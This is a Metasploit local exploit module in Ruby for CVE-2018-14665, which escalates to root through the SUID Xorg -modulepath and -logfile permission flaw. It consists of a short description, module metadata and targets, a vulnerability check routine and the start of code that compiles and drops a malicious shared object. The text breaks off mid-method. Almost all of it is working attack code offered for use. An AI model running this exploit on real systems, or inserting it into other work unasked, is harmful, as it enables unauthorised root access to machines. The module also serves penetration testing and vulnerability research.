Xorg X11 Server SUID modulepath Privilege Escalation 

This Metasploit module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 up to 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with CentOS 7 (1708). CentOS default install will require console auth for the users session. Xorg must have SUID permissions and may not start if running. On successful exploitation artifacts will be created consistent with starting Xorg.

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Local

  Rank = GoodRanking

  include Msf::Exploit::EXE

  include Msf::Exploit::FileDropper

  include Msf::Post::File

  include Msf::Post::Linux::Priv

  include Msf::Post::Linux::Kernel

  include Msf::Post::Linux::System
  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Xorg X11 Server SUID modulepath Privilege Escalation',

      'Description'    => %q{

        This module attempts to gain root privileges with SUID Xorg X11 server

        versions 1.19.0 < 1.20.3.
        A permission check flaw exists for -modulepath and -logfile options when

        starting Xorg.  This allows unprivileged users that can start the server

        the ability to elevate privileges and run arbitrary code under root

        privileges.
        This module has been tested with CentOS 7 (1708).

        CentOS default install will require console auth for the users session.

        Xorg must have SUID permissions and may not start if running.
        On successful exploitation artifacts will be created consistant

        with starting Xorg.

      },

      'License'        => MSF_LICENSE,

      'Author'         =>

        [

          'Narendra Shinde', # Discovery and exploit

          'Aaron Ringo',     # Metasploit module

        ],

      'DisclosureDate' => 'Oct 25 2018',

      'References'     =>

        [

           [ 'CVE', '2018-14665' ],

           [ 'BID', '105741' ],

           [ 'EDB', '45697' ],

           [ 'EDB', '45742' ],

           [ 'EDB', '45832' ],

           [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]

        ],

      'Platform'       =>  %w[linux unix solaris],

      'Arch'           =>  [ARCH_X86, ARCH_X64],

      'SessionTypes'   =>  %w[shell meterpreter],

      'Targets'        =>

        [

           ['Linux x64', {

            'Platform' => 'linux',

            'Arch' => ARCH_X64 } ],

           ['Linux x86', {

            'Platform' => 'linux',

            'Arch' => ARCH_X86 } ],

           ['Solaris x86', {

            'Platform' => [ 'solaris', 'unix' ],

            'Arch' => ARCH_SPARC } ],

           ['Solaris x64', {

            'Platform' => [ 'solaris', 'unix' ],

            'Arch' => ARCH_SPARC } ],

        ],

      'DefaultTarget'  => 0))
     register_advanced_options(

       [

         OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),

         OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),

         OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),

         OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])

       ]

     )

  end
  def check

    # linux checks

    uname = cmd_exec "uname"

    if uname =~ /linux/i

      vprint_status "Running additional check for Linux"

      if datastore['ConsoleLock']

        user = cmd_exec "id -un"

        unless exist? "/var/run/console/#{user}"

          vprint_error "No console lock for #{user}"

          return CheckCode::Safe

        end

        vprint_good "Console lock for #{user}"

      end

    end
    # suid program check

    xorg_path = cmd_exec "command -v Xorg"

    unless xorg_path.include?("Xorg")

      vprint_error "Could not find Xorg executable"

      return CheckCode::Safe

    end

    vprint_good "Xorg path found at #{xorg_path}"

    unless setuid? xorg_path

      vprint_error "Xorg binary #{xorg_path} is not SUID"

      return CheckCode::Safe

    end

    vprint_good "Xorg binary #{xorg_path} is SUID"
    x_version = cmd_exec "Xorg -version"

    if x_version.include?("Release Date")

      v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)

      unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))

        vprint_error "Xorg version #{v} not supported"

        return CheckCode::Safe

      end

    elsif x_version.include?("Fatal server error")

      vprint_error "User probably does not have console auth"

      vprint_error "Below is Xorg -version output"

      vprint_error x_version

      return CheckCode::Safe

    else

      vprint_warning "Could not parse Xorg -version output"

      return CheckCode::Appears

    end

    vprint_good "Xorg version #{v} is vulnerable"
    # process check for /X

    proc_list = cmd_exec "ps ax"

    if proc_list.include?('/X ')

      vprint_warning('Xorg in process list')

      return CheckCode::Appears

    end

    vprint_good('Xorg does not appear to be running')

    return CheckCode::Vulnerable

  end
  def check_arch_and_compile(path, data)

    cpu = ''

    if target['Arch'] == ARCH_X86

      cpu = Metasm::Ia32.new

      compile_with_metasm(cpu, path, data)

    elsif target['Arch'] == ARCH_SPARC

      compile_with_gcc(path, data)

    else

      cpu = Metasm::X86_64.new

      compile_with_metasm(cpu, path, data)

    end

  end
  def compile_with_metasm(cpu, path, data)

    shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib)

    write_file(path, shared_obj)

    register_file_for_cleanup path
    chmod path

  rescue

    print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')

    compile_with_gcc